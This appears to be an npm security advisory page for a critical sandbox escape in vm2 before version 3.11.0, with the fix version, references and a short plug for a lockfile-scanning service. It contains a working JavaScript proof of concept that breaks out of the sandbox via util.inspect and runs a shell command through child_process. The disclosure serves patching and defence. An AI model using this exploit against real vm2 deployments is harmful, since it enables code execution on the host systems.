CriticalGHSA-qcp4-v2jj-fjx8CVE-2026-44006
vm2 has a Sandbox Escape Vulnerability
Published 7 May 2026 · Updated 14 May 2026
Affected package
vm2npm
- Affected
- <3.11.0
- Fixed in
- 3.11.0
Update to the fixed version for your release line, for example:
npm install vm2@3.11.0Details
Summary
It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes
Details
https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658
BaseHandler can be reached via util.inspect (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)
PoC
let obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice: () => '',
};
let sym;
obj.slice(10, {
showHidden: true,
showProxy: true,
depth: 10,
stylize(a) {
const handler = this.seen && this.seen[1];
if (handler && handler.getPrototypeOf) {
gP = handler.getPrototypeOf;
HObjectProto = gP(gP(gP(gP(Buffer))));
HObject = HObjectProto.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
}
return a;
},
});
obj = {
[sym]: (depth, opt, inspect) => {
inspect.constructor('return process')()
.getBuiltinModule('child_process')
.execSync('id', { stdio: 'inherit' });
},
valueOf: undefined,
constructor: undefined,
};
WebAssembly.compileStreaming(obj).catch(() => {});Impact
Sandbox Escape -> RCE
Is GHSA-qcp4-v2jj-fjx8 in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vm2, and gives you the command that fixes it.
References
- Linkgithub.com/patriksimek/vm2/security/advisories/GHSA-qcp4-v2jj-fjx8
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-44006
- Packagegithub.com/patriksimek/vm2
- Linkgithub.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658
- Linkgithub.com/patriksimek/vm2/releases/tag/v3.11.0
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.